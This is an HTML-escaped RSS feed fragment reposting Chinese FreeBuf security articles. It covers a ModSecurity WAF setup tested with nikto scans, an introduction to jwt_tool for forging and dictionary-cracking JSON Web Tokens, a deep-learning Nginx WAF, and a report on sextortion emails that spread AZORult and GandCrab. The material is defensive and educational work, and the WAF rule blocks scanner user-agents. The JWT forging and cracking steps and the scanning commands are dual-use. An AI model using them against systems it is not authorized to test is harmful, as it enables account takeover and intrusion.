 &lt;h3&gt;A test rule&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;SecRule ARGS:testparam &amp;quot;@contains test&amp;quot; &amp;quot;id:1234,deny,log,status:403&amp;quot;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;报错解决：[emerg] “modsecurity_rules_file” directive Rules error.&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;vim /etc/nginx/modsec/modsecurity.conf&lt;/p&gt;   &lt;p&gt;#SecUnicodeMapFile unicode.mapping 20127&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;配置nginx反向代理，vim /etc/nginx/conf.d/proxy.conf&lt;/p&gt;
 &lt;p&gt;#include /etc/nginx/conf.d/*.conf;    #把这一行注释掉，不然80端口会有冲突&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;server {&lt;/p&gt;   &lt;p&gt;    listen 80;    &lt;br /&gt;    &lt;br /&gt;    modsecurity on;

    modsecurity_rules_file /etc/nginx/modsec/main.conf;

    location / {

    proxy_pass [http://0.0.0.0:8085;](http://0.0.0.0:8085/)

    proxy_set_header Host $host;

    }&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;nginx -s reload    #重新加载nginx&lt;/p&gt;   &lt;p&gt;curl -D -     &lt;a href="http://localhost/foo?testparam=123"&gt;http://localhost/foo?testparam=123&lt;/a&gt;    #能正常返回“Thank you for requesting /foo?testparam=123”&lt;/p&gt;   &lt;p&gt;&lt;/p&gt;   &lt;p&gt;&lt;/p&gt;   &lt;p&gt;curl -D -     &lt;a href="http://localhost/foo?testparam=123"&gt;http://localhost/foo?testparam=&lt;/a&gt;test    #则返回&amp;quot;403 Forbidden&amp;quot;，说明前面配置的那条modsecuriy规则生效了，并阻拦了testparam参数中带test的请求&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在/var/log/nginx/error.log中可以看到拦截的详细日志&lt;/p&gt;
 &lt;p&gt;部署OWASP规则–CRS（Core Rule Set）&lt;/p&gt;
 &lt;p&gt;安装运行nikto漏洞扫描工具，用于测试CRS的防御效果&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;&lt;/p&gt;   &lt;p&gt;git clone     &lt;a href="https://github.com/sullo/nikto"&gt;https://github.com/sullo/nikto    &lt;/a&gt;#下载nikto&lt;/p&gt;   &lt;p&gt;cd nikto &lt;/p&gt;   &lt;p&gt;perl program/nikto.pl -h localhost    #用nikto扫描nginx搭建的web系统（反向代理）&lt;/p&gt;   &lt;p&gt;扫描结果是+ 7687 requests: 0 error(s) and 308 item(s) reported on remote host    #扫描出308个问题&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;启用OWASP CRS&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;cd /etc/nginx/modsec/&lt;/p&gt;   &lt;p&gt;wget     &lt;a href="https://github.com/SpiderLabs/owasp-modsecurity-crs/archive/v3.0.2.tar.gz"&gt;https://github.com/SpiderLabs/owasp-modsecurity-crs/archive/v3.0.2.tar.gz    &lt;/a&gt;#下载OWASP CRS&lt;/p&gt;   &lt;p&gt;cd owasp-modsecurity-crs-3.0.2/&lt;/p&gt;   &lt;p&gt;cp crs-setup.conf.example crs-setup.conf&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在modsecurity主配置文件中include CRS的配置和规则&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;vim /etc/nginx/modsec/main.conf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;Include the recommended configuration&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Include /etc/nginx/modsec/modsecurity.conf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;OWASP CRS v3 rules&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;Include /usr/local/owasp-modsecurity-crs-3.0.2/crs-setup.conf&lt;/p&gt;   &lt;p&gt;Include /usr/local/owasp-modsecurity-crs-3.0.2/rules/*.conf&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;测试CRS&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;nginx -s reload    #重新加载nginx配置&lt;/p&gt;   &lt;p&gt;curl     &lt;a href="http://localhost/"&gt;http://localhost    &lt;/a&gt;#返回Thank you for requesting /&lt;/p&gt;   &lt;p&gt;curl -H &amp;quot;User-Agent: Nikto&amp;quot;     &lt;a href="http://localhost/"&gt;http://localhost    &lt;/a&gt;#返回403 Forbidden，说明WAF防护已经生效，此处匹配的规则是user-agent中不能包含漏洞扫描器名字&lt;/p&gt;   &lt;p&gt;perl nikto/program/nikto.pl -h localhost    #再次用nikto扫描nginx搭建的web系统&lt;/p&gt;   &lt;p&gt;扫描结果是+ 7687 requests: 0 error(s) and 83 item(s) reported on remote host    #扫描出83个问题，比308个少了很多&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在安装ModSecurity时，我们将演示应用程序配置为为每个请求返回状态代码200,但实际上并没有返回这些文件,Nikto将这200个状态码解释为它请求的文件确实存在,所以报告出83个问题，为了优化nikto，去除误报，我们做如下配置&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;cp nikto/program/nikto.conf.default nikto/program/nikto.conf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;vim nikto/program/nikto.conf    #在第76行最后加上;-sitefiles，如下所示&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;@@DEFAULT=@@ALL;-@@EXTRAS;tests(report:500);-sitefiles&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;之后再次用nikto扫描&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;perl program/nikto.pl -h localhost&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;扫描结果是+ 7583 requests: 0 error(s) and 7 item(s) reported on remote host&lt;/p&gt;
 &lt;p&gt;可以看出问题只有7个问题，由于ModSecurity不支持响应（response）的检查，所以涉及此类的漏洞无法防御。但总体还是抵御了绝大部分的nikto的漏洞扫描。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://image.3001.net/images/20190814/1565774866_5d53d412b3b33.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;参考链接：&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;   &lt;a href="https://www.nginx.com/resources/library/modsecurity-3-nginx-quick-start-guide/"&gt;https://www.nginx.com/resources/library/modsecurity-3-nginx-quick-start-guide/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://github.com/SpiderLabs/ModSecurity" target="_blank"&gt;https://github.com/SpiderLabs/ModSecurity&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://github.com/SpiderLabs/ModSecurity/tree/v3/master" target="_blank"&gt;https://github.com/SpiderLabs/ModSecurity/tree/v3/master&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：owensky，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>工具 ModSecurity3.0 waf web应用防火墙</category>
      <guid isPermaLink="true">https://itindex.net/detail/60023-modsecurity-%E5%BC%80%E6%BA%90-waf</guid>
      <pubDate>Tue, 10 Sep 2019 15:00:36 CST</pubDate>
    </item>
    <item>
      <title>JWT Tool：针对 JSON Web Tokens 的测试工具</title>
      <link>https://itindex.net/detail/59797-jwt-tool-json</link>
      <description>&lt;p&gt;  &lt;strong&gt;众望所归，大家期待已久的JWT渗透测试工具终于出炉啦！没错，今天给大家介绍的这款名叫JWT Tool的工具，就可以针对JSON Web Tokens进行渗透测试。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="aaaaaaaaaaaaaaaaaaa.jpg" height="300" src="https://image.3001.net/images/20190703/1562142582_5d1c677682b3c.jpg!small" width="600"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;h2&gt;什么是JWT？&lt;/h2&gt;
 &lt;p&gt;JWT是JSON Web Token的缩写，它是一串带有声明信息的字符串，由服务端使用加密算法对信息签名，以保证其完整性和不可伪造性。Token里可以包含所有必要的信息，这样服务端就无需保存任何关于用户或会话的信息了。JWT可用于身份认证，会话状态维持以及信息交换等任务。&lt;/p&gt;
 &lt;p&gt;JWT由三部分构成，分别称为header，payload和signature，各部分用“.”相连构成一个完整的Token，形如xxxxx.yyyyy.zzzzz。&lt;/p&gt;
 &lt;h3&gt;Header&lt;/h3&gt;
 &lt;p&gt;使用一个JSON格式字符串声明令牌的类型和签名用的算法等，形如{“alg”:”HS256″, “typ”: “JWT”}。该字符串经过Base64Url编码后形成JWT的第一部分xxxxx。&lt;/p&gt;
 &lt;p&gt;Base64Url编码可以用这段代码直观理解：  &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;from base64 import *&lt;/p&gt;   &lt;p&gt;def base64URLen(s):&lt;/p&gt;   &lt;p&gt;    t0=b64encode(s)&lt;/p&gt;   &lt;p&gt;   t1=t0.strip(&amp;apos;=&amp;apos;).replace(&amp;apos;+&amp;apos;,&amp;apos;-&amp;apos;).replace(&amp;apos;/&amp;apos;,&amp;apos;_&amp;apos;)&lt;/p&gt;   &lt;p&gt;    return t1&lt;/p&gt;   &lt;p&gt;​&lt;/p&gt;   &lt;p&gt;def base64URLde(s):&lt;/p&gt;   &lt;p&gt;    t0=s.replace(&amp;apos;-&amp;apos;,&amp;apos;+&amp;apos;).replace(&amp;apos;_&amp;apos;,&amp;apos;/&amp;apos;)&lt;/p&gt;   &lt;p&gt;    t1=t0+&amp;apos;=&amp;apos;*(4-len(t0)%4)%4&lt;/p&gt;   &lt;p&gt;    return b64decode(t1)&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;Payload&lt;/h3&gt;
 &lt;p&gt;使用一个JSON格式字符串描述所要声明的信息，分为registered，public，状语从句：private三类，形如{“name”: “John Doe”, “admin”: true}，具体信息可参考RFC7519的JWT要求部分。&lt;/p&gt;
 &lt;p&gt;同样的，该字符串经过Base64Url编码形成JWT的第二部分yyyyy。&lt;/p&gt;
 &lt;h3&gt;Signature&lt;/h3&gt;
 &lt;p&gt;将xxxxx.yyyyy使用alg指定的算法加密，然后再Base64Url编码得到JWT的第三部分zzzzz。所支持的算法类型取决于实现，但HS256和none是强制要求实现的。&lt;/p&gt;
 &lt;h2&gt;JWT Tool&lt;/h2&gt;
 &lt;p&gt;简而言之，Jwt_tool.py这个工具及可以用来验证、伪造和破解JWT令牌。&lt;/p&gt;
 &lt;p&gt;其功能包括：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、 检测令牌的有效性；&lt;/p&gt;
  &lt;p&gt;2、 测试RS/HS256公钥错误匹配漏洞；&lt;/p&gt;
  &lt;p&gt;3、 测试alg=None签名绕过漏洞；&lt;/p&gt;
  &lt;p&gt;4、 测试密钥/密钥文件的有效性；&lt;/p&gt;
  &lt;p&gt;5、 通过高速字典攻击识别弱密钥；&lt;/p&gt;
  &lt;p&gt;6、 伪造新的令牌Header和Payload值，并使用密钥创建新的签名；&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;适用范围&lt;/h3&gt;
 &lt;p&gt;该工具专为渗透测试人员设计，可用于检测令牌的安全等级，并检测可能的攻击向量。当然了，广大研究人员也可以用它来对自己使用了JWT的项目进行安全测评以及稳定性测评。&lt;/p&gt;
 &lt;h3&gt;工具要求&lt;/h3&gt;
 &lt;p&gt;本工具采用原生Python 2.x开发，使用的都是常用Python库。大家可以在字典攻击选项中配置自定义字典文件。&lt;/p&gt;
 &lt;h2&gt;工具安装&lt;/h2&gt;
 &lt;p&gt;大家可以直接下载代码库中的jwt_tool.py文件，或使用下列命令将代码库克隆至本地：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;git clone https://github.com/ticarpi/jwt_tool.git&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;工具使用&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;$python jwt_tool.py &amp;lt;JWT&amp;gt; (filename)&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;第一个参数就是JWT本身，后面需要跟一个文件名或文件路径。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;样例：&lt;/strong&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;$python jwt_tool.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw/usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;本工具将会验证令牌的有效性，并输出Header和Payload的值。接下来，它会给用户提供可用的菜单选项。输入值可以为标准JWT格式或url-safe模式的JWT格式。&lt;/p&gt;
 &lt;h3&gt;使用提示&lt;/h3&gt;
 &lt;p&gt;大家还可以在Burp Search中使用正则表达式来寻找JWT（请确保开启了“大小写敏感“和“正则表达式”选项）：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;[=]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - url-safe JWT version&lt;/p&gt;   &lt;p&gt;[=]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - all JWT versions&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;项目地址&lt;/h2&gt;
 &lt;p&gt;JWT Tool：【  &lt;a href="https://github.com/ticarpi/jwt_tool"&gt;GitHub传送门&lt;/a&gt;】&lt;/p&gt;
 &lt;h2&gt;参考资料&lt;/h2&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、    &lt;a href="https://jwt.io/introduction/"&gt;https://jwt.io/introduction/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;2、    &lt;a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"&gt;https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;3、    &lt;a href="https://www.ticarpi.com/introducing-jwt-tool/"&gt;https://www.ticarpi.com/introducing-jwt-tool/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;4、    &lt;a href="https://pentesterlab.com/exercises/jwt"&gt;https://pentesterlab.com/exercises/jwt&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;5、    &lt;a href="https://pentesterlab.com/exercises/jwt_ii"&gt;https://pentesterlab.com/exercises/jwt_ii&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;6、    &lt;a href="https://pentesterlab.com/exercises/jwt_iii"&gt;https://pentesterlab.com/exercises/jwt_iii&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt; * 参考来源：   &lt;a href="https://github.com/ticarpi/jwt_tool"&gt;ticarpi&lt;/a&gt;，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>工具 JSON JWT Web Token 测试工具</category>
      <guid isPermaLink="true">https://itindex.net/detail/59797-jwt-tool-json</guid>
      <pubDate>Sun, 07 Jul 2019 15:00:42 CST</pubDate>
    </item>
    <item>
      <title>为Nginx加入一个使用深度学习的软WAF</title>
      <link>https://itindex.net/detail/59290-nginx-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0-waf</link>
      <description>&lt;h2&gt;一、前言&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;本文介绍如何向Nginx增加了一个使用Tensorflow C库的软WAF模块，模块主体基于Naxsi。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;二、获取数据及训练数据&lt;/h2&gt;
 &lt;p&gt;这里，之前有Dalao发表过这样一篇文章：  &lt;a href="https://www.freebuf.com/articles/web/176709.html"&gt;基于卷积神经网络的SQL注入检测&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;这是一个开源的项目，但是由于速度的关系，我不打算使用这篇文章的模型，仅仅采用这篇文章使用的数据集。这样可以节省很多特征工程的时间。&lt;/p&gt;
 &lt;p&gt;数据训练并不是这篇文章的重点，这里仅仅说一下训练结果，这里为了防止CUDA周期对检测时间的影响，使用CPU跑推理过程。&lt;/p&gt;
 &lt;p&gt;如果您对数据的训练感兴趣，可以看我之前写的一篇文章：  &lt;a href="https://roche-k.github.io/2018/09/29/Using-CNNToIdentifySQLandXSS-2019/"&gt;使用CNN做SQL和XSS的识别&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;三、使用Tensorflow C库做推理&lt;/h2&gt;
 &lt;p&gt;我们的目标是向Nginx加入一个使用Tensorflow C库的软WAF模块。如果从头开始写一个软WAF，想必会占用相当多的时间，并且这个也和这篇文章的主旨偏离。&lt;/p&gt;
 &lt;p&gt;在Nginx的开源的软WAF模块中，Naxsi是一个很受欢迎的模块。这个模块使用C作为主开发语言，因此，如果我们想基于这个模块加一个推理过程，很大可能性需要加入Tensorflow C库。那么，首先应该做的是，试着使用Tensorflow C库做单次推理，并做好模块测试。&lt;/p&gt;
 &lt;p&gt;Main文件如下：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549944767_5c6247bf7f5df.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;编译完成后，可以跑一下数据，这里为了节省篇幅，仅测试一条&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549944892_5c62483c02cfc.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可见这部分代码已经可以正常工作了。&lt;/p&gt;
 &lt;h2&gt;四、向Naxsi内加入代码&lt;/h2&gt;
 &lt;p&gt;首先，回忆下Nginx的一些原理，Nginx在运行时使用fork，创建了一个master进程和若干worker进程，worker进程是实际处理数据的进程。每个模块的初始化函数，实际上是由初始化的进程来完成的，在这之后，如果配置了daemon，初始化的进程自动退出。&lt;/p&gt;
 &lt;p&gt;同时，为了便于理解，我们可以把推理流程拆分成这样几个部分：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1. 初始化模型&lt;/p&gt;
  &lt;p&gt;2. 将输入转化为Tensorflow识别的格式&lt;/p&gt;
  &lt;p&gt;3. 运行模型，获取结果&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;其中，步骤1仅需运行一次，步骤2，3在每次运行这个模块时都需要进行。&lt;/p&gt;
 &lt;p&gt;我对于Nginx理解不深，DaLao轻拍。&lt;/p&gt;
 &lt;p&gt;由于worker进程是fork产生的，实际上是无法使用初始化进程产生的model，所以，每个worker进程需要自己初始化一次自己的model相关资源。因此，新加入的函数应该类似这样：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549946122_5c624d0a0db2d.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这里，我仅仅检测uri内部的注入请求，其它部分的检测代码应该是非常相似的，这里就不再重复罗嗦了。&lt;/p&gt;
 &lt;p&gt;由于tf_model是在第一次调用模块时才会自动载入，因此，在这个服务器的每个worker进程第一次接受到数据时，可能会稍卡顿一下。&lt;/p&gt;
 &lt;h2&gt;五、编译运行&lt;/h2&gt;
 &lt;p&gt;将Naxsi和Nginx的代码同时复制到编译服务器内部，然后在编译Nginx时，包含下Naxsi的代码部分。&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549946761_5c624f893b50a.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;由于Nginx在编译时是不使用Tensorflow库的，所以我们需要手动修改下Makefile，在链接时自动加入Tensorflow库，最后编译。&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549946969_5c625059dddd7.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;然后，需要将Naxsi的配置文件复制到Nginx的conf文件夹内，配置Naxsi，并修改Nginx的配置文件，加入Naxsi模块。自定义一个403的Page，作为注入发生时的替换界面。然后，运行Nginx。&lt;/p&gt;
 &lt;h2&gt;六、手注测试&lt;/h2&gt;
 &lt;p&gt;这里使用简单的手注，测试模块是否正常运行。这里实际是不可能出现注入的情况的，如果有兴趣的话，可以加入DVWA等靶机，使用sqlmap等工具实际攻击。&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20190212/1549947439_5c62522fc9de0.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;七、总结&lt;/h2&gt;
 &lt;p&gt;经过以上几个步骤，我们就得到了一个使用DL的Nginx的软WAF模块，并把它加入到了Nginx内。相比普通的规则匹配类的引擎，一般而言，这种方法的防御效果更加优秀。考虑漏报和误报率的话，使用测试集测试，可靠性提高了数倍。&lt;/p&gt;
 &lt;p&gt;当然，推理流程会对服务器本身的性能造成一定的影响，因此在实际的环境中，可能需要使用Tensorflow C GPU库来跑运算，或者将Nginx作为代理使用。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：rochek，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 nginx waf 工具</category>
      <guid isPermaLink="true">https://itindex.net/detail/59290-nginx-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0-waf</guid>
      <pubDate>Sun, 17 Feb 2019 09:00:11 CST</pubDate>
    </item>
    <item>
      <title>色情勒索病毒和信息窃取木马的新套路</title>
      <link>https://itindex.net/detail/59231-%E8%89%B2%E6%83%85-%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92-%E5%92%8C%E4%BF%A1</link>
      <description>&lt;p&gt;  &lt;img alt="1.png" height="243" src="https://image.3001.net/images/20190113/1547382981_5c3b30c57cec3.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;对于网络犯罪分子来说，色情邮件诈骗已经成为了一种搜刮钱财的绝佳途径，而近期的一个新型色情邮件诈骗活动又将此类攻击提升到了一个新的高度。在此活动中，攻击者会欺骗目标用户去安装Azorult信息窃取木马，而这个木马接下来会在目标主机中下载并安装GandCrab勒索软件。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;在  &lt;a href="https://www.bleepingcomputer.com/news/security/new-sextortion-scam-pretends-to-come-from-your-hacked-email-account/"&gt;这个攻击活动中&lt;/a&gt;，目标用户会收到一封声称“该计算机已被黑客入侵，而且在你浏览色情网站的时候录下了你的视频。”除此之外，这些邮件中还会包含你的用户名和密码，这样可以让这些邮件看起来更加真实，而这些用户密码都是攻击者在之前的数据泄露事件中收集到的。&lt;/p&gt;
 &lt;p&gt;接下来，诈骗邮件还会要求用户支付比特币，否则攻击者将会把他们上黄网的视频发送给用户通讯录里的好友。很明显，这是很明显的诈骗：因为你的电脑没有被黑，而且攻击者也没有录下那些所谓的视频。&lt;/p&gt;
 &lt;p&gt;ProofPoint的安全研究专家近期还发现了一种新的网络诈骗活动，这一次攻击者没有直接通过勒索邮件来让目标用户支付比特币，而是“勾引”用户下载攻击者录下的视频（视频中记录了用户的某些“特殊活动”）。此时，用户下载下来的是一个zip压缩文件，其中包含一个可执行文件，而这个文件将会在目标用户的主机中安装恶意软件。&lt;/p&gt;
 &lt;p&gt;ProofPoint的研究人员在  &lt;a href="https://www.proofpoint.com/us/threat-insight/post/sextortion-side-ransomware"&gt;报告&lt;/a&gt;中写到：“我们观察到了一个色情勒索活动，其中涉及到的URL跟  &lt;a href="https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside"&gt;AZORult&lt;/a&gt;有关，攻击者最终会在目标设备上安装GandCrab勒索软件。”&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;用户下载下来的文件命名风格形如“Foto_Client89661_01.zip”，色情勒索邮件的完整内容如下：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="779" src="https://image.3001.net/images/20190113/1547382993_5c3b30d179ece.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;大致意思是：“告诉你个坏消息，2018年9月8日我黑掉了你的电脑，拿到了你电脑的完整控制权。你的邮箱地址是xxx，密码是xxx。我怎么做到的呢？你上网用的路由器存在漏洞，我黑进了你的路由器，植入了恶意代码，所以你上网的时候电脑就会感染木马病毒。我拿到了你电脑里面所有的数据，包括网站浏览记录、通讯录和各种文件。本来我只想问你要点比特币来玩玩，但是我发现你一天到晚都在上“黄网”。所以，emm….我不仅截图了，而且还录了你看色情内容的视频。为了证明我说的东西，你可以自己下载下来看一看，地址也给你啦！你也不想我把这些东西发给你的亲朋好友吧？那就赶紧付钱吧，我也不要求很多嘛！速度给钱！”&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="545" src="https://image.3001.net/images/20190113/1547383003_5c3b30db5d2e3.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这种新的诈骗策略杀伤力会更大，因为收件人第一反应会感到恐慌，然后他们就会去下载视频看看“对方”说的到底是不是真的。下载文件之后，他们就会打开压缩文件，但这个时候他们就会发现自己瞬间感染了两种不同类型的恶意软件。&lt;/p&gt;
 &lt;p&gt;感染的第一个恶意软件为AZORult，它的作用是收集目标主机中的信息，例如登录账号、cookie、聊天记录和其他文件等等。接下来，它还会安装GandCrab勒索软件，并对用户计算机中存储的数据进行加密。&lt;/p&gt;
 &lt;p&gt;那么这个时候问题就更加严重了，因为刚才你只是被诈骗邮件吓到了，但现在你要面对的就是真正的麻烦了。&lt;/p&gt;
 &lt;p&gt;因此，我们不得不一而再再而三地提醒各位，不要轻易相信陌生人给你发送的任何邮件。在打开这些邮件或者下载附件之前，先上网看看有没有其他人遇到过跟你类似的事情，这样你就可以更好地保护自己了。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://www.bleepingcomputer.com/news/security/sextortion-emails-now-leading-to-ransomware-and-info-stealing-trojans/"&gt;bleepingcomputer&lt;/a&gt;，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 信息窃取 勒索病毒</category>
      <guid isPermaLink="true">https://itindex.net/detail/59231-%E8%89%B2%E6%83%85-%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92-%E5%92%8C%E4%BF%A1</guid>
      <pubDate>Fri, 18 Jan 2019 15:00:03 CST</pubDate>
    </item>
    <item>
      <title>我的信息搜集之道</title>
      <link>https://itindex.net/detail/59130-%E4%BF%A1%E6%81%AF-%E6%90%9C%E9%9B%86</link>
      <description>&lt;h2&gt;前言  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;前段时间，看了一本书名为《Kali Linux 渗透测试的艺术》，我发现书中第四章信息搜集那部分有些内容不能适应有些内容不能适用国内，这勾起了我想总结一下国内信息搜集的欲望，于是就有了这篇文章。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;什么是信息搜集  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;信息搜集也称踩点，信息搜集毋庸置疑就是尽可能的搜集目标的信息，包括端口信息、DNS信息、员工邮箱等等看似并不起眼的一些信息都算是信息搜集，这些看似微乎其微的信息，对于渗透测试而言就关乎到成功与否了。&lt;/p&gt;
